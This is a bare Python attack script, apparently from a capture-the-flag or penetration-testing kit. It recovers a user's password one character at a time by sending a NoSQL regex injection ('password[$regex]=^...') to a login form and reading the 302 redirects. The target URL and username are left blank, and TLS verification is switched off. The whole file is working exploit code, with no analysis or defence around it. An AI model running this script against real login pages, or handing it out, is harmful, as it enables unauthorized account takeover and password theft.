import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="" #enter the username
password=""
u="" # Enter the url here
headers={'content-type': 'application/x-www-form-urlencoded', 'Host': ''} # Enter the Host header here. 

while True:
    for c in string.printable:
        if c not in ['*','+','.','?','|','&','\\']:
            payload='username=%s&password[$regex]=^%s.*&login=login'% (username,password + c)
            r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
            #print(payload)
            #print(r.status_code)
            if r.status_code == 302:
                print("Found one more char : %s" % (password+c))
                password += c